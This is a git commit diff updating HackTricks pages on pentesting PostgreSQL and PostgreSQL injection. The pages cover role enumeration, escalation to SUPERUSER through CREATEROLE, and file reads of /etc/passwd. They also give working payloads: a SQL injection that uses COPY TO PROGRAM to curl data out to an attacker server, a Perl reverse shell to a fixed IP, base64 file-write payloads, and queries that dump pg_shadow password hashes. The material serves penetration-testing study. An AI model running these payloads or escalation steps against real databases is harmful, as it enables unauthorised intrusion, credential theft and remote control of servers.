GitBook: [#3576] No subject
This commit is contained in:
parent
cbd40bbf74
commit
52b0419e2d
|
@ -22,7 +22,7 @@ Get Access Today:
|
|||
|
||||
## **Basic Information**
|
||||
|
||||
**PostgreSQL** is an \_\*\*\_open source object-relational database system that uses and extends the SQL language.
|
||||
**PostgreSQL** is an open source object-relational database system that uses and extends the SQL language.
|
||||
|
||||
**Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
|
||||
|
||||
|
@ -46,13 +46,8 @@ psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
|||
\d # List tables
|
||||
\du+ # Get users roles
|
||||
|
||||
#Read a file
|
||||
CREATE TABLE demo(t text);
|
||||
COPY demo from '[FILENAME]';
|
||||
SELECT * FROM demo;
|
||||
|
||||
#Write ascii to a file (copy to cannot copy binary data)
|
||||
COPY (select convert_from(decode('<B64 payload>','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
|
||||
# Get current user
|
||||
Select user;
|
||||
|
||||
#List databases
|
||||
SELECT datname FROM pg_database;
|
||||
|
@ -60,45 +55,19 @@ SELECT datname FROM pg_database;
|
|||
#Read credentials (usernames + pwd hash)
|
||||
SELECT usename, passwd from pg_shadow;
|
||||
|
||||
#Check if current user is superiser
|
||||
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
|
||||
|
||||
#Check if plpgsql is enabled
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
|
||||
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
|
||||
#Check users privileges over a table (pg_shadow on this example)
|
||||
SELECT grantee, privilege_type
|
||||
FROM information_schema.role_table_grants
|
||||
WHERE table_name='pg_shadow'
|
||||
|
||||
#Get users roles
|
||||
SELECT
|
||||
r.rolname,
|
||||
r.rolsuper,
|
||||
r.rolinherit,
|
||||
r.rolcreaterole,
|
||||
r.rolcreatedb,
|
||||
r.rolcanlogin,
|
||||
r.rolconnlimit, r.rolvaliduntil,
|
||||
ARRAY(SELECT b.rolname
|
||||
FROM pg_catalog.pg_auth_members m
|
||||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||||
WHERE m.member = r.oid) as memberof
|
||||
, r.rolreplication
|
||||
FROM pg_catalog.pg_roles r
|
||||
ORDER BY 1;
|
||||
```
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Get Access Today
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
For more information about how to abuse a PostgreSQL database check:
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Enumeration
|
||||
|
||||
|
@ -116,6 +85,151 @@ Client authentication is controlled by a config file frequently named _**pg\_hba
|
|||
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
|
||||
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
|
||||
|
||||
## Enumeration of Privileges
|
||||
|
||||
### Roles
|
||||
|
||||
| Role Types | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Role has superuser privileges |
|
||||
| rolinherit | Role automatically inherits privileges of roles it is a member of |
|
||||
| rolcreaterole | Role can create more roles |
|
||||
| rolcreatedb | Role can create databases |
|
||||
| rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
|
||||
| rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
|
||||
| rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
|
||||
| rolpassword | Not the password (always reads as `********`) |
|
||||
| rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
|
||||
| rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
|
||||
| rolconfig | Role-specific defaults for run-time configuration variables |
|
||||
| oid | ID of role |
|
||||
|
||||
#### Interesting Groups
|
||||
|
||||
* If you are a member of **`pg_execute_server_program`** you can **execute** programs
|
||||
* If you are a member of **`pg_read_server_files`** you can **read** files
|
||||
* If you are a member of **`pg_write_server_files`** you can **write** files
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**.
|
||||
{% endhint %}
|
||||
|
||||
```sql
|
||||
# Get users roles
|
||||
\du
|
||||
|
||||
#Get users roles & groups
|
||||
# r.rolpassword
|
||||
# r.rolconfig,
|
||||
SELECT
|
||||
r.rolname,
|
||||
r.rolsuper,
|
||||
r.rolinherit,
|
||||
r.rolcreaterole,
|
||||
r.rolcreatedb,
|
||||
r.rolcanlogin,
|
||||
r.rolbypassrls,
|
||||
r.rolconnlimit,
|
||||
r.rolvaliduntil,
|
||||
r.oid,
|
||||
ARRAY(SELECT b.rolname
|
||||
FROM pg_catalog.pg_auth_members m
|
||||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||||
WHERE m.member = r.oid) as memberof
|
||||
, r.rolreplication
|
||||
FROM pg_catalog.pg_roles r
|
||||
ORDER BY 1;
|
||||
|
||||
# Check if current user is superiser
|
||||
## If response is "on" then true, if "off" then false
|
||||
SELECT current_setting('is_superuser');
|
||||
|
||||
# Try to grant access to groups
|
||||
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
||||
GRANT "username" TO pg_execute_server_program;
|
||||
GRANT "username" TO pg_read_server_files;
|
||||
GRANT "username" TO pg_write_server_files;
|
||||
## You will probably get this error:
|
||||
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
||||
|
||||
# Create new role (user) as member of a role (group)
|
||||
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
||||
## Common error
|
||||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||||
```
|
||||
|
||||
### Tables
|
||||
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
## Get tables where user is owner
|
||||
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
||||
|
||||
# Get your permissions over tables
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
||||
|
||||
#Check users privileges over a table (pg_shadow on this example)
|
||||
## If nothing, you don't have any permission
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; WHERE table_name='pg_shadow';
|
||||
```
|
||||
|
||||
### Functions
|
||||
|
||||
```
|
||||
\df *
|
||||
\df *pg_ls*
|
||||
```
|
||||
|
||||
## **Postgres Privesc**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
|
||||
#### **Grant**
|
||||
|
||||
According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
|
||||
|
||||
So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
|
||||
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
# Access to read files
|
||||
GRANT pg_read_server_files TO username;
|
||||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
||||
#### Modify Password
|
||||
|
||||
Users with this role can also **change** the **passwords** of other **non-superusers**:
|
||||
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
|
||||
#### Privesc to SUPERUSER
|
||||
|
||||
It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role:
|
||||
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
This is usually possible because of the following lines in the **`pg_hba.conf`** file:
|
||||
|
||||
```bash
|
||||
# "local" is for Unix domain socket connections only
|
||||
local all all trust
|
||||
# IPv4 local connections:
|
||||
host all all 127.0.0.1/32 trust
|
||||
# IPv6 local connections:
|
||||
host all all ::1/128 trust
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
## **POST**
|
||||
|
||||
```
|
||||
|
@ -154,6 +268,12 @@ sqlite3 pgadmin4.db "select * from server;"
|
|||
string pgadmin4.db
|
||||
```
|
||||
|
||||
### pg\_hba
|
||||
|
||||
The file **`pg_hba.conf`** contains who can access to the Postgres database:
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
|
|
@ -40,19 +40,52 @@ PL/pgSQL, as a **fully featured programming language**, allows much more procedu
|
|||
|
||||
### Read directories and files
|
||||
|
||||
From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).:
|
||||
From this **** [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
|
||||
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
COPY demo from '/etc/passwd';
|
||||
SELECT * FROM demo;
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Remember that if you aren't super user but has the **CREATEROLE** permissions you can **make yourself member of that group:**
|
||||
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
{% endhint %}
|
||||
|
||||
There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
|
||||
|
||||
```sql
|
||||
select * from pg_ls_dir('/tmp');
|
||||
select * from pg_read_file('/etc/passwd' , 0 , 1000000);
|
||||
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
||||
```
|
||||
|
||||
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
|
||||
### Simple File Writing
|
||||
|
||||
```bash
|
||||
Only **super users** and members of **`pg_read_server_files`** can use copy to write files.
|
||||
|
||||
```sql
|
||||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:**
|
||||
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
{% endhint %}
|
||||
|
||||
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
|
||||
A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
|
||||
|
||||
|
@ -61,19 +94,23 @@ A very important limitation of this technique is that **`copy` cannot be used to
|
|||
However, there are **other techniques to upload big binary files**.\
|
||||
[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
## <img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">****
|
||||
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE to program**
|
||||
|
||||
Example of RCE query with exfiltration
|
||||
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration:
|
||||
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
||||
### **RCE from version 9.3**
|
||||
|
||||
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands.
|
||||
Example to read file:
|
||||
|
||||
```bash
|
||||
#PoC
|
||||
|
@ -88,6 +125,16 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:**
|
||||
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
||||
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
|
||||
{% endhint %}
|
||||
|
||||
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
|
||||
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
|
|
Loading…
Reference in New Issue